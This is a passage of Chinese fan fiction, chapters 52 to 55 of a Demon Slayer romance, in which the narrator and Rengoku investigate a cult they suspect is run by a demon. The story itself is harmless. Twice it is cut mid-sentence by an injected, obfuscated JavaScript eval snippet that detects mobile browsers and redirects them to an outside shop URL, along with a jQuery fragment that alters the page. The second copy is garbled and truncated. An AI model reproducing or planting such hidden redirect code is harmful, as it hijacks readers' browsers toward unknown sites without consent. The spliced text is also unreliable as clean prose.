“万世极乐教虽然是以教祖为核心构筑的宗教,但是从教徒口中可以得知……万世极乐教的确有神的存在。”嘉泽乐回想起那一天,显而易见她是一个心细胆大的人,胆子大到有时候真让人想感叹是不是吃了熊心豹子胆,但是那天在那个大殿内,她听着友善地为她介绍寺院内部的僧侣无比虔诚地说起他们的教祖与神时,看着他眼中堪称癫狂的神采,不知为何还是感到后背一阵悚然。 他当真相信他的教祖能够听见神的声音,也当真相信他们那没有任何人见过的神会时刻聆听他们的祈祷。 这信仰坚韧不拔到让他们从人类变成拴上绳子的野兽,仅凭着本能宣泄自己的情绪,却不再有思考的能力。 我感到不适。明明坐在柔软的车座上,车厢正安全地包裹着我们,风雨无法侵扰,阳光亦不浓烈,一帧一帧擦着车窗划向后方的景致无声远去,连嘈杂的鸟啼虫鸣都被隔绝在感官之外,但是为什么……我的直觉正在小声劝告我,叫我不要把手伸进热水里体验水温,叫我远离未知,我应该听从,我也向来都会听从,可是……违和感究竟来源于哪里? 我看着手中关于万世极乐教的照片,脑海中不断回忆着传教的话语,忽然在一张相片中我看到了那个传教士的脸。只露出小半张脸,他没有穿着那天的僧袍,而是与其他教众一样穿着洁白的牧师装,与其他几个已经剃度的僧侣站在一起时我误以为他也是被救助的人员,因此开始时忽略了他。 生来有着桦树白色头发、七彩眼睛的教祖,名为童磨的男人,能够听到神的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613450|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音,无所不知全知全能…… 黑白相片总能把方才发生的事变成遥远的过去,在某个晃神的瞬间,这一幕仿佛穿越过千百年,直击我的意识。一个让我忍不住屏息凝神的念头就这样堂而皇之地降临,我下意识看向身边的杏寿郎。明明已经与他贴着坐在一处,他身体的热度正源源不断地传递向我,但不安感从来不讲任何道理,只是嬉笑着看我担忧。 炼狱杏寿郎在那个瞬间并没有发现我的紧张,他皱着眉头,脸上是久未见过的严肃神情,始终盯着嘉泽乐绘制的关于万世极乐教正殿的图纸。直到我伸手搭上他的手臂,他才从其中脱离。“这座正殿。”杏寿郎顿了顿,笃定道,“任何时候,阳光都不会照射到那座地台上。” 我抓紧了他的手腕。 展现在下午两点最浓烈的阳光之下的是一座古典的寺院。寺院规模本身不大,但胜在建筑精巧,围墙后能够看见寺庙大殿的屋顶,青黑的瓦片反射着亮闪闪的光线。院门没有锁,而是大方地展开,我和杏寿郎路过,随意地将视线投入其中,能看见有零星几个穿着白色服装的僧侣正在庭院里忙活。 最正中的自然是那间大殿,它自然地展开轮廓,京都风建筑处处充盈着古色古香,只是正殿内,即使是现在,阳光至多洒在游廊上,不能再深入一步。 我们停留在距离万世极乐教不远处一家很有名的拉面店。听说这家拉面店的店主是个专心经营四十年的老先生,凭借家传的特殊骨汤配方让自家这间百年老店传承至今。我和杏寿郎像是一对很普通的来到此处游玩的平民,来之前甚至特意更换了衣服,杏寿郎为了遮掩日轮刀,用一件普通的羽织替换了披风。 天气渐热,我一边摆着手扇风一边同杏寿郎谈论着附近的有名景点。“这里和英国比起来也没什么区别。”我叹着气,浅浅品尝杯中的大麦茶。我们没有选择坐在单独的座位上,而是落座在吧台处,店主煮面的动作在前方清晰展现,熬煮成浓白色的汤汁咕嘟咕嘟地冒着泡。 杏寿郎淡笑着,没有立刻回答我的话。 但前台负责点单的中年人却忽然出声插入话题:“这位小姐是来旅行的吗?” 我点点头。 他看着只是一个普通的中年人,无论外貌还是气质都并不出挑,长着一张老好人的大众脸,时刻摆着温和的没有距离感的笑容。他对自己的故乡有着相当浓烈的自豪感,对我的比较或许感到冒犯,这才突兀地开腔。询问我们的来处后,他便向我们介绍起附近其他值得一去的地方。 有了这个话题作为开关,我顺势向他询问方才经过的寺院:“那个看着也是很古典的建筑呢,该有一百多年了吧?” “那个寺院吗?”男人爽朗地一笑,“那可不止了!这附近有不少万世极乐教的信徒,信徒们募资为寺院翻修过,不过据说啊,一百多年前这座寺庙就早已经在了。” 自从潜意识中将鬼与万世极乐教联系起来后,我们的行程安排便小心谨慎起来。能够支撑一个小小宗教延续百年的鬼,藏在幕后必然有着与众不同的能力,他究竟是用自己出色的口才蛊惑了人们,还是用血鬼术操纵了大家?我们暂时一无所知,便不打算轻易进入打草惊蛇。 我们兵分两路,我与杏寿郎以旅行的恋人身份来到此处,而肖恩和嘉泽乐则在暗处谨慎地盯梢。 我们对于万世极乐教的消息仍然所知甚少,且始终缺了些切身的经历。我有意去寻找万世极乐教中的平民信徒,想看看他们如今的生活现状。他们信奉的教祖究竟有没有为他们带来福报,又或者……他们有没有因为此教而陷入更深的困局? 听着男人滔滔不绝的话语,他将当地流传万世极乐教的形象说得栩栩如生。“您的拉面店,我也是得到推荐才来的呢。”我笑着打趣道,“千万别让我这远道而来的客人失望呀。” 我与杏寿郎相视而笑。 53. 冷夜 为了让我们的行程不显得过于突兀,我和杏寿郎在附近的旅馆住下后,去附近的热门景点游览了两天。 第一天——也就是我们来的那天,并没有什么异样。 白天的小镇安宁祥和,人们平静地生活。外界的变化似乎没有被风吹进此处,城市改变的进程再怎么喧嚣,终究只是隔绝在外的热闹。 居住在这里的人还保留着世纪初的生活节奏,缓慢得像是明日赴死也可安然以待的人。 他们不好奇、不追求,也不寻找改变,僵持得如同一汪死水。扔一块再大的石头下去,也会沉默无声地被吞没进湖底。 我和杏寿郎牵着手走过街角,我拿着相机拍摄周围的景色。路过的行人大多会向我们投来一个奇怪的注视,但这奇怪也只止步于此,绝不会再进一步。 “好奇怪。”我这么说着,翻看拍摄的相片。 杏寿郎坐在我对面,他正看着一份报纸,报纸上写的新闻都是些无趣的时事,用平淡的话语修饰着局势的稳定。 我们特意去了神社参观,其间香火鼎盛,并不衰败,时而有人结伴前来。由此可见,在此处,除了万世极乐教,别的宗教也处于正常发展的进程中,并没有因此而被遏制。 “他们有意在收敛行踪。”杏寿郎这么说。 我们居住的旅馆距离万事极乐教的寺庙不远,位于二楼的卧室推开窗就能看见寺庙的屋顶,青黑的瓦片正沐浴在阳光下,偶尔有几只小鸟扑腾着翅膀落在屋脊。 无论如何,在寺庙中生活,僧侣总是要有日常消耗的。但万世极乐教的僧侣们对于自己的行踪很小心,他们会在天微微亮的时候,踩着还未散去的夜色踏上街头,采买完毕后便立刻返回寺庙中。 天亮之后,寺院的大门敞开,但几乎见不到任何僧侣随意外出。 一天内会有零零星星几个女性教徒前来参拜,进入之后总要约莫一个小时她们才会离开。 “真的会是鬼吗?”我眺望着寺院内显露的场地。 或许是因为这两天并没有大型集会,万世极乐教的寺庙看起来略显冷清,也就更没有机会见到那位教祖……他真的存在吗?又或者,他真的是人吗? 当这位教祖可能是鬼的念头出现后,我便再也无法摆脱这个猜想。 尤其这座小镇沉郁古典的气氛,在这种环境内一个名不见经传的小小宗教更能长久地存在。 但鬼总是要吃人的不是吗? 如果那位教祖是鬼,他以教徒为食的话,教徒的人数就会削减,为了保持规模必须经常招收新的信众。但小镇人员有限,这个至多只有近万人的小镇上,每天低头不见抬头见的同乡大多眼熟,失踪任何一个都会显得格外明显。 还是他会对外寻找食物?就像那次我被传教一样。 可……已经拥有豢养的食物,还有外出觅食的必要吗? 我怀揣着这样的想法,和杏寿郎绕着小镇到处游览,直到天已擦黑,我们已经走到较偏远的方位,才准备返回旅馆。 但杏寿郎的动作忽然凝滞,它神情严肃地看向身后,手已经下意识握住藏在羽织之下的刀柄:“有鬼。” 经过一天的平静而舒缓下来的神经因为这两个字重新绷紧,鬼的气息出现得太过突然,简直让人所料未及。 杏寿郎二话不说地抱起我,步伐轻快地循着气息追去。他的速度很快,而我落在他臂弯的重量仿佛轻得不存在,如同揽着一张纸,轻飘飘的。当我的头发被风吹向身后,杏寿郎动了动手臂,把我往怀里又紧了些。 鬼的气息出现在荒僻的一处山脚。 我们到得很及时,面色灰紫的鬼只来得及流出一地口水,就被杏寿郎的日轮刀干脆利落地斩下头颅,甚至连反抗的能力都没有……弱得有些太让人不可置信了。 我去扶起摔倒在地无助哭泣的女人。当我触碰到那劣质的麻布衣料下的身躯时才惊觉这个女人有多瘦削,骨头架子上勉强挂了层肉,营养不良的特征在她周身处处体现,但她毫无疑问有一张姣好的容颜。这种强烈的割裂感不知为何在那个瞬间让我想起花街……我想起那个会对兄长哭号却能杀人不眨眼的堕姬。 “你没事吧?” 她受到了极大的惊吓,正浑身打着颤,双腿用不上力,哪怕借着我的手臂也不能利落地站起来。我只好跪坐下扶住她,让她坐得稍微舒服些。 鬼的尸体没有立刻消失,此时已经入夜,昏暗笼罩着四野。这个可怜的女人独自居住在村落一角,在这座陈旧的小镇上自然存在着这种似乎隔绝在时间流逝之外的区域。你可能想不到它的存在,只有在你踏进的时候才会发现——天啊!这世界上竟然还有这种地方! “那是什么?”女人抖着嗓子看着杏寿郎蹲下身检查了下那具尸体,她僵直着一动不敢动,不敢看我,目光只垂落在鬼已经停止咕噜咕噜滚动的头颅上。 “已经没事了,”我低下身半拢住她的肩头,轻声安慰她,“不用担心。”她猛地颤了下,目光触电般迅疾地闪过我的脸,我想她都来不及看清我的眼睛是什么颜色,就已经再次游移到鬼的身体上。 被日轮刀斩首的鬼已经开始消散,从伤口处缓慢地化作飞尘,在夜风中逐渐被吹散。 “那是妖怪吗?”她忽然无比急切地抓住我的衣袖,脸色苍白得像一抔雪,又必须要得到一个答案,如同被悬挂在悬崖之上,而吊紧她双手的绳索已经被磨损得快断了。焦急的情绪在很短暂的几秒钟内发挥成恐惧,我几乎能听见她沉默时牙齿打颤的声音,她力气大得可怕,瘦骨嶙峋的身躯里猛地爆发出巨大的力量,五指从我的衣袖转移到我的手腕,死命地握住。 好像我是她唯一能抓住的溺水时那根救命的浮木。 “是鬼吗?”她惊疑不定,将握成拳的另一只手抵在双唇,这时我才发现她手中一直握着一个吊坠,“还是……神……” “什么?”我没能听清那句话。 但在我再想问个清楚时,她突然一把挣脱我,将我推到一边,疯了似的跑向那个鬼,泪水涌了出来:“不——请带我走!教祖大人!” 她摔倒在地,努力向前伸出的手指只来得及触碰到最后那点灰烬。 我脑中如遭重击般轰隆一声巨响,声音的余韵拖得极长,而我的思维一片空白。 ——教祖大人? 有关于万事极乐教的一切复又浮现在我脑海中。 杏寿郎向她走近了几步,审视般注视着她。 无论怎么看都只是一个普通的人类女性,脆弱不堪,艰难地维持着生机。 因为杏寿郎的靠近,她的危机感终于上线,挣扎着爬起来往后退了些许,神情警惕地看着他:“你是谁!为什么……为什么?”当她的目光落到杏寿郎还未收起的日轮刀上时,月色流淌在刀尖闪烁的寒光是锋利的,她剧烈地颤抖着,既像是单薄地置身在寒凉的严冬,又像是失血过多将要死去般虚弱,让人觉得似乎马上就要死了,只是被什么残念吊住生机。 “你……你杀了神……不不、不……”她的眼泪又掉下来,却不是哭泣,只是一种无意识的应激反应,“你是……你……教祖大人会……不、原谅我,教祖大人……” 她语无伦次地摇着头,精神状态快要崩溃了。 也就在此时,我才看见因为摔倒而掉落在地的那个吊坠,那是一枚御守,靛蓝色的布料看着已经有些陈旧,因为长久地被捏在手中摩挲而略微泛出光泽。 我上前捡起那枚御守,布料上果不其然绣着万世极乐。 这儿让我感觉到危险,我情不自禁地靠近杏寿郎,只有这样才削减我心中盘旋的不安。 我悄悄将御守展示给杏寿郎看,他的神情严肃了些,但只是摇摇头没有说话。 “别担心……别怕好吗?那只是一个恶鬼,是妖邪而已……”我小心翼翼地蹲下身看着她,尽可能在保证她安全感的情况下靠近,再将那枚御守递给她。 “这是你的吗?”我将御守递近了些,她的紧张在看到那枚御守后得到平复,但情绪依然溃败,不容我接近更多。 “别担心,你忘了教祖大人说过的话吗?”我压低嗓音,让自己听起来尽可能值得信服。 女人紧紧盯着我的双眼。 “我们的教义,你还记得吗?是抱着沉稳的态度去开心地过生活。”真没想到我也会有这么一天,兼职替这种莫名其妙的宗教传教,“让人难受或是痛苦的事,就没必要勉强自己去做。这是教祖大人对我们的教导。” “还记得吗?”保持稳定的发问以让她冷静思考。这未必有效,但她对于万世极乐教显然有些痴狂,这个话题就会显得很有用。 她也果然冷静了些,“是。”用力点着头,她抹去眼泪,“教祖大人的教导。” “给,”我又将御守递近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杏寿郎平静地说:“万世极乐教并没有给予她任何生活上的帮助,不曾让她吃饱穿暖,也没有给予她精神上的支柱。万世极乐教的教徒被严格控制在250人,我不认为她是其中一员,她无法负担对于宗教的供养。” 好现实。 但是这也是显而易见的。万世极乐教需要稳定地发展必然离不开教徒的供养。如果这位教祖真能够让教徒们对他深信不疑,那么食用教徒显然是一个下下策。 总觉得还有更深的含义……她的言行失措像是受到过巨大的刺激,一定见到过颠覆认知的场景。而她对于鬼的认知,从那混乱的言辞中依稀能辨认出她认同鬼是危险的,却忍不住将鬼和教祖联系起来。 “不过从目前来看万世极乐教的确和鬼有关了。”夜风吹过我裸露的皮肤,有些冷,我忍不住又往杏寿郎身上贴近了些。 他没说话。 我立刻紧张地扒住他,生怕我一个没注意,他就独自一人晃去寺院里了。 脑海中那个女人癫狂的姿态不断重现,我始终无法确定究竟是什么,对于那位教祖的形象的想象也就越来越抽象了。 察觉到我的不安,杏寿郎宽慰道:“那是一个新生的鬼。” “什么?”这句话在我脑海里流淌了会儿才被分解,我逐渐理解了其中的含义,却让我心惊不已。 新生的鬼……这说明,在那附近,之前还有一个更强大的鬼转化了它。 “但我们刚刚……” “嗯,并没有在附近看到有被袭击的人。”杏寿郎平静地说,“也没有感应到更强大的鬼。” 鬼一定拥有自己独特的气息,绝不是了然无痕、能够躲过呼吸法的寻觅的。即使拥有再强大的可以隐蔽自己气息的能力,在转换一个普通人的瞬间它的气息必然是暴露在外的。如果在那里没有更强大的鬼存在,那么……那个新生的鬼又是从何而来呢?它是独自从远处跑来的吗?忍耐着食欲一直到了这附近才到极限? 危险感如影随形。 一想到我们从刚才起就一直暴露在鬼的视野中,危机就像一股冰凉的气息,顺着我的天灵盖一直蔓延进我的脊椎,遍布全身,叫我不觉打了个冷战。 杏寿郎有些紧张,追问道:“很冷吗,朝和?” 我摇摇头,但圈着他脖子的双手已经将情绪暴露,指节冰冷入骨。 54. 未来 幸好我们居住的旅馆就在眼前。杏寿郎背着我跳入屋内,小心地将我放下来。双脚才踩到地面,眩晕感就立刻冲上我的头脑,压着我的双腿软绵绵地倒下去,我几乎是没站稳般躺回床铺上。寒意已经顺着钻进我的身体内部,从腹部开始持续散发冷雾,逼得我不由蜷缩起来。 “朝和!” 杏寿郎立刻紧张地贴近到我身边,半搂住我,只有他身上的暖意能勉强让我感觉到自己还是清醒的。手指交错过我的,转而十指紧扣,另一只手压在我的后背,让我紧紧靠进他怀里。而他源源不断传递来的热量熨帖着我的身体,与自我心底泛出的寒意对抗。直到这时我才发现自己一直在瑟瑟发抖——好奇怪!真的好奇怪!为什么会觉得这么冷——我用力抱住杏寿郎,仿佛又一次沉没进那个荒芜的夜里,我追逐着朝阳妄图将月色甩在身后。 除却这一切,还有愤怒…… 我不知道要说些什么,我甚至不知道自己在愤怒什么。真奇怪。这是一个寂静无声的夜晚,万籁俱寂,危机已经灭杀,阴影中潜藏的东西还没有伸出枝节。 “别怕,朝和,什么危险也没有。”让人安心不已的声音在我耳畔轻声响起,他呼出的热气落在我耳垂,连带着烧出一片绯红。我想去看他,想看清他的神情,只撞进那双赤金色的眼睛。他的担忧显露无遗,甚至毁坏了向来开朗乐观的神情,掉进七情六欲里染上世俗的颜色。 我抱住面前的人,伸手向他,既想要圈住他的脖颈,又想要抚摸他的脸颊,触碰到他眉弓,划过他翕动的睫毛。我抬头重重地吻住他。 他怔了怔。但很快闭上眼俯首,而这也不像一个吻,更像是掠夺,要瓜分彼此的呼吸,肆意欺凌。我逃不开,当然也不想逃,只想和他在一起,哪怕融为一体。 寂静的夜晚万世极乐教的寺庙内灯火全部已经熄灭,宁静的月色笼罩着面前的一切,除却几声猫头鹰咕咕的鸣叫,屋子里只有我们缠在一起。 许久才分开。 “还好吗,朝和?”他伸手抚摸我的脸颊,唇边保留着一抹从我这里蹭去的口红。 我蜷缩在被褥上,努力平复这心情:“没事。” 是愤怒。出离的愤怒在叫嚣,想要撕碎那些虚假的平和,试图换来泼天巨浪倾覆这一切。我紧紧抓着杏寿郎胸前的衣裳,力气大到揉皱了布料,最终放弃调节,将这一切情绪说了出来:“我好生气。” “怎么了?”他低声问。 我摇摇头,只往他怀里又钻了些,靠在他胸前,他衣裳上熏的淡淡的紫藤香飘进我的呼吸里。 经历刀匠村的事后,我对鬼的感受再一次变化。而这次,我再也不能把自己放在中立的事不关己的位置看待一切,只觉得经历的所有事都与我息息相关,这是我的切身体会。无论是利益损失还是精神消耗,对于鬼的厌恶已经到了无可复加的程度。被鬼影响的普通人的生活乱成一片废墟,鬼的快乐与永生就建立在那么多无辜的生命之上。 温热的手掌落在我后脑,动作轻缓地抚摸着,他的呼吸平和有力,我忍不住就想调整自己的呼吸去追随他的频率。 “没关系,朝和。”他知道我在想什么,这些支离破碎无法用语言概括的想法在他面前素来无所遁形,只要那双赤金色的眼睛看向我,火炎就会攀升。 “跟我说说话吧,杏寿郎。”我这样恳求。 杏寿郎便把自己的床铺拉到我的边上,紧紧挨着,中间不留缝隙。他把日轮刀放在一旁,平躺在被褥上,再转过头看着我:“我就在这里,想说些什么?” 想说的有很多。 昨天、今天、明天。 过去、现在、未来。 想问他这里解决后回到鬼杀队的本部是不是又要开启柱合会议?想说看到祢豆子站在阳光下时我真的好开心!想聊聊忍的姐姐花柱大人是一个怎样的人?杀死她的又是一个怎样的鬼? 我侧过身,看着他。 我们躺在一处,之间的距离很近,近到我能看见他每一根睫毛。 窗外清冷皎洁的月光倾泻进屋内,落在他身上时模糊了他的表情,似是被一层轻纱笼罩,如烟似雾,柔和了他原本线条锋利的五官。 “在想什么?”察觉到我的注视,杏寿郎打破寂静问。 “嗯……未来。” 他与我对上视线,赤金色的眼瞳里埋在被窝中的我神情有些茫然。他像是惊讶我会想这个,再开口时声音轻得仿佛怕惊扰这个寂静的夜:“未来的什么?” “很多啊!”关于这个话题实在有太多东西,我伸出手,掰着指头开始细说关于未来的一切,“比如以后我要做什么啦。虽然每天在家待着也可以,但如果有想做的工作也不错?要不要学点什么呢?我还蛮想学习怎么做料理的。还想画画,爸爸之前说要和我一起举办一个画展,不过来日本之后我好久没有画画了。” 要做的事满满当当,能把我的人生挤成一块干巴巴的海绵,绝不会有一滴多余的水。 “还有还有啊!”和爱的人一起设想未来是一件相当幸福的事,我越说越兴奋,忘了那些不快,干脆爬起来趴在床褥上,双臂撑着枕头,拉过放在一边的记事本,一边记录一边说:“我不是还整理了之前的炎柱的手札吗?我在想要不要把它收录起来,进行集册出版呢?感觉这个拿来拍电影也不错,杏寿郎之前去看过电影吗?我之前在英国的时候还参加过一场有声电影的展映,比默片可有意思多了!” “不过电影是黑白的,看得眼睛疼,还是改成舞台剧吧?”我看向杏寿郎,“杏寿郎觉得呢?” 他正认真地看着我,眼睛一眨不眨,目光专注地落在我身上,因为我天马行空的想法而微笑着,却没有出声打断。他的眼里有且只有我,而世界寂静无声,这个房间构筑成仅剩的诺亚方舟,我们在月光形成的海上漂泊。 杏寿郎从来不会认为我的观点是无法实现的,更多的时候他不会点评,即使真要他说些什么评价,他的话语也总是温和有力、能够支撑着我的想法的。他学着我的样子趴着,一只手撑住脑袋,好奇地问道:“朝和为什么想把鬼杀队的故事展示出来呢?” “我希望能有更多的人知道啊!”话语出口理所当然,这个问题我几乎从没思考过,只是下意识就有了这样行动的念头。鬼是藏匿在黑夜中无法见光的卑劣生物,但鬼杀队是蛰伏在阴影之中等待时机的英雄,他们违背人类的特质,为了守护而在鬼更擅长的黑夜中奋力搏斗。 延续千年的争斗终有完结的时候,而这样的事迹不应该消弭在历史中。 至少,我希望能有人知道,曾经有这样一群人,为了大众誓死奋战过。 “真不错!”杏寿郎果然赞叹地附和道,“不过,他们会不会觉得这是一个很荒诞的故事?” 在日本,夜幕降临后会出现食人的妖怪这样的传说虽然存在,但辐射的范围终究太小了。鬼的本性就潜藏着狡猾,他们知道要对孤老下手,优先将生活在僻静无人处的人作为目标,吃得干净些就无人能发现线索。治安队的警察只是普通人,配枪甚至不能对鬼造成致命伤害。 在东京,我与那些贵族小姐们举办茶话会时,也曾谈起过京中的怪谈。身居高位的大家族中也流传有鬼的故事,但仅此而已。她们惊讶地表示“太可怕了”,却不认为危机就在自己身后。 不过这也的确如此,若非我亲眼见过那暗巷中残缺的“麦克白”,又怎么会切实相信有鬼的存在? “怎么会呢!”我翻了翻记事本前面已经写满的纸页,这个故事的记录越来越完整,剩下的只有前因和结果。 “杏寿郎听说过吸血鬼吗?”我和他讲起罗马尼亚的穿刺大公,关于他是吸血鬼的传说故事在全世界流传了几千、几万英里,漂洋过海来到英国,最终成了“德古拉”的原型。《德古拉》这部小说最初刊登在报纸上时就引起热烈反响,大家都对这个远离平常世界的充满了魔怪的故事极其痴迷。甚至在很长一段时间里持续不断地掀起关于吸血鬼的狂潮。 听我滔滔不绝地讲完,我们又探讨了一会儿吸血鬼与鬼的相似之处,杏寿郎才终于明悟地点 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“以前只想过将鬼都灭杀。”他看着不远处月光浸没的那片地面,那一小块地板颜色与周围略显不同,因此无比显眼。慢慢地视线重新游移到我的身上,他全神贯注地注视着我,声音温柔:“现在在想你和我。” “我和你?”我一时没有反应过来。 他就笑起来,爽朗的笑容让月光失色。他大力地点头,却没有立刻说话,只是用那双沉静的眼睛注视我,好像用目光描摹着这一刻。 “我……我们!” 我张了张嘴,声音却没跑出来。下意识望向一边,好像这样就能缓解内心情绪的翻腾,但逃避不是长久之法,况且杏寿郎的目光烫得叫我颤抖,我再看向他,四目相对,眼中清晰地倒映出彼此,我们各自困顿在对方的囚牢。我的心跳怦怦直响! 我和他…… 不知为何心脏也颤抖起来,随后紧追着的是高速率的跳动,在我胸腔里胡乱地撞,声音响得吓人。 我不断重复扫视着杏寿郎的神情,脑海中甚至一遍一遍回放起这几天的相处画面,忽然有个声音骤然发问:他是不是听到了…… 听到什么? 听到我说的结婚吧…… 那天从我嘴里意外逃脱的这句话是一个突然出现的念头,像极了无数想象中的漏网之鱼。只是这条鱼没有游向大海,却撞进了炼狱杏寿郎的笼子里。只是在那一个瞬间——我不敢说自己从没有想象过和他的未来,这不是一个遥远的概念,我曾经想过很多次。在和他变得亲近时、在险些失去他时、在他属于我时……裹挟住我的感情并非羞怯,这种感受更复杂、更艰涩、更难以言明——但要说出它却很难。可我无比想要和他在一起,建立更紧密更热切的关系,也只有这样我才能更安心。 毕竟我早在日复一日中明白,从前的时候明明注意着我却还是要把目光撇开的杏寿郎当时心里究竟想的是什么。那是担忧与害怕的复合体,是混杂了喜爱与不甘,融合了快乐与思虑,叫人不敢在尘埃落定前开口承诺的症结。 即使我们早已暗下决心,即使一无所有,也愿意与对方一同流浪。而世界毁灭前,我们会支撑着对方直到最后一秒。 我会坚定地在任何一个抉择前毫不犹豫地告诉他:我愿意。不过突然被他提起还是让我有些心惊。他甚至没有提到什么,只是我自己的猜测,但已经足够让我脸红,温度蔓延到耳垂和脸颊,我不断回忆他那天的表情来猜测他究竟有没有听见那短短的话语,可此刻在他自然的神情的完美掩盖下什么也看不出来。他原来也是伪装的高手,可以躲过我的所有探查。 但再说一次的勇气现在我没有,用深思熟虑换不来冲动的结果,我只能猛地缩进被窝里,用被子盖住自己的神情,拒绝继续夜谈:“不跟你说了!” 杏寿郎低低地笑了声,我感觉到他伸手过来,勾住我露在被子外的手,轻轻地握着。而从他身上蔓延过来的那股温暖,让我的心跳缓缓平静下来,逐渐陷入安宁的沉睡。 55. 上弦 早上醒来时我整个陷在杏寿郎的怀里。我们侧着身睡在一处,而我枕在他的一条手臂上,两手抵在他胸前,不知是眷恋还是反抗地拽着他的衣领。 他抱着我,桎梏般扼在我腰间,距离近到我仿佛能听见他的心跳声,平稳有力的律动自然地起伏。 昨天夜里笼罩着我全部精神的奇怪情绪已经完全消退,但这一夜的睡眠并不算好,我昏昏沉沉地睁开眼,眼皮很重,让我不觉想再闭上眼睡过去。 “醒了吗?” 是杏寿郎的声音。 他弯起手轻轻抚摸我后脑,顺着头发动作轻柔反复耙梳到我的后颈,他动了动身体,下巴抵住我的头顶,听起来还有些担忧:“感觉还好吗,朝和?” “嗯……”我现在想不起昨天的自己究竟是怎么了,如同被一道邪念攫取神志,沦落成一个癫狂的疯子,在恐惧中瑟瑟发抖。 忍不住再次抱住杏寿郎埋头在他怀里,只有这样才能让我感觉到安心。 杏寿郎安慰似的回抱着我。感受到这温热有力的触觉,我忍不住笑起来。 就这样静静地又赖了会儿床,直到旅馆的招待前来告知早饭准备完毕,我们才一起起床。 镜子里的我看起来仍然倦怠,没有得到完善的休息而泛着红血丝的眼睛看着无比憔悴。杏寿郎用毛巾为我敷了一会儿双眼,我拿出化妆品适当遮掩眼下的青黑,才一同走出卧室。 杏寿郎今天穿了一件深色的羽织,下面藏着他的日轮刀。 我们今天要去拜访万世极乐教的寺庙。鎹鸦送来消息,忍在刀匠村的救治行动已经基本达成收尾,很快就要启程回到鬼杀队。其他几位柱大人也陆陆续续从自己守护的地区赶来,斩杀上弦之四和上弦之五的战果值得一次表彰,祢豆子克服阳光亦是一个奇迹,但刀匠村的遇险无疑也是一次警醒,新一次的柱合会议有许多内容需要探讨。因此我们决定尽快查探完毕后赶回鬼杀队与大家会合。 今天是一个阳光极佳的大晴天,薄金色均匀地洒向世界,灿烂浓烈到不可能会有任何阴晦之物伏行于人间。这让我稍微安心了些。 但昨天夜里那个女子,我始终挂念着,便联络了肖恩和嘉泽乐,让他们再去她家里看看还好么,若是能调查出些什么线索就更好。过了一夜,她瘦弱不堪的身躯和那张竭尽全力保持着漂亮的脸孔所形成的剧烈反差已经酝酿成形,万世极乐教对于女性教徒的态度翩然浮现,一个隐秘的猜测慢慢爬上我的心头。 ——那位教祖大人……那个鬼,他或许以漂亮的女性为食。 我和杏寿郎牵着手沿着直街漫步,又闲适地拿相机拍照记录了些寻常风景后,才神态自然地走进这间寺庙。 这些天我们来来往往,也只是迅速地巡查过其中的建筑,往往来不及看清游廊上木架的构造,也辨认不出院子里铺成的石子组成怎样的形状。当踏入这座寺庙时,杏寿郎牵着我的手忽然收紧,他无意识地皱了皱眉,但很快松开眉宇,平静地张望着四周。 古旧的气息扑面而来,仿佛穿越过时间洪流,将我们轻而易举就带回百年前的日本。建筑的筑造风格完全沿用老式的京都风,这种风味就和京都人说话时带着的刻薄玩笑如出一辙,让人无法忽视,甚至觉得没品位过的人错失了一番体验。 “好像也没什么特别的。”我故作挑剔地审视着面前的建筑,兴致缺缺地翻看着手中的相机,小心翼翼擦去镜头上沾染的一点点灰尘。 “再往里面看看吧。”杏寿郎扮演着一个好声好气抚慰我的监护人,一边笑着一边带我往正殿走去。 在外时看着觉得这座建筑的格局很像寺庙,但其实只是占据了寺庙的名字,不论内部设施还是其他什么,没有任何地方像寺庙。不设神坛、不设香火,有几个信徒正虔诚地跪在正殿内默念祈祷,但是谁也不知道她们在拜些什么。 “大师!”我笑着随便叫住边上一位僧侣,他穿着制式的僧服,头发剃得光光的,上面有着几个戒疤。被我叫住时他双手合十低垂着头向我行礼示意,才缓步走近:“两位,上午好。” “请问你们这是什么寺庙呀?”我装作浑然不知的样子,好奇地问道,“怎么连个佛像都没有供奉?” 杏寿郎闻言便立刻替我向僧人解释:“抱歉,我的恋人她一直生活在国外,失礼的地方还请大师海涵。” “什么呀!这不能问吗?”我有些不满地甩开杏寿郎的手,又转头对大师问道:“请问可以参观吗?” 大师没有介怀我的失礼,反而对我和杏寿郎幼稚的拌嘴行为莞尔一笑:“没有关系,两位不是本地人,所以不太了解。我们是本地宗教的寺庙,所以不供奉佛教造像。” “本地宗教?”这东西听起来有趣极了,我高兴地又去拉杏寿郎的手臂,“要!本地宗教是不是也和民俗有关系?这个能不能用来做我的作业题目?” 完美的默契配合就是不用提前打招呼也能对上彼此的每一句下文,杏寿郎有些无奈:“你不是已经打算写邪马台和卑弥呼了吗?资料都查得差不多了。” 说到这个我就生气,“我不想写了!弥生和我说已经有人在写邪马台国了,我不想和他们写一样的!而且我本来就不熟悉日本的历史嘛。”我撇撇嘴,不想继续这个讨厌的话题,兴致勃勃地向僧人追问起更多关于这座寺庙的介绍。 他流露出有些为难的神色。 我立刻懂了,自信地拍拍胸口,毫不在意地说道:“这位大师,你放心,我是在华族女学校就读的学生,敝姓一条。最近老师布置了作业要就国内一些民俗内容进行调查研究,所以才到处采风。” 说着我又唉声叹气:“但我才回国没多久,实在不了解日本的民俗学。您不必担心我会对贵寺庙进行胡乱编纂,我们的作业有时连贞明皇后都会过目,届时如有需要,我可以在东京都帮助贵寺庙进行善款的募资呀!” 好一个不知人间疾苦的世家大小姐形象——我要给自己的表演打高分了! 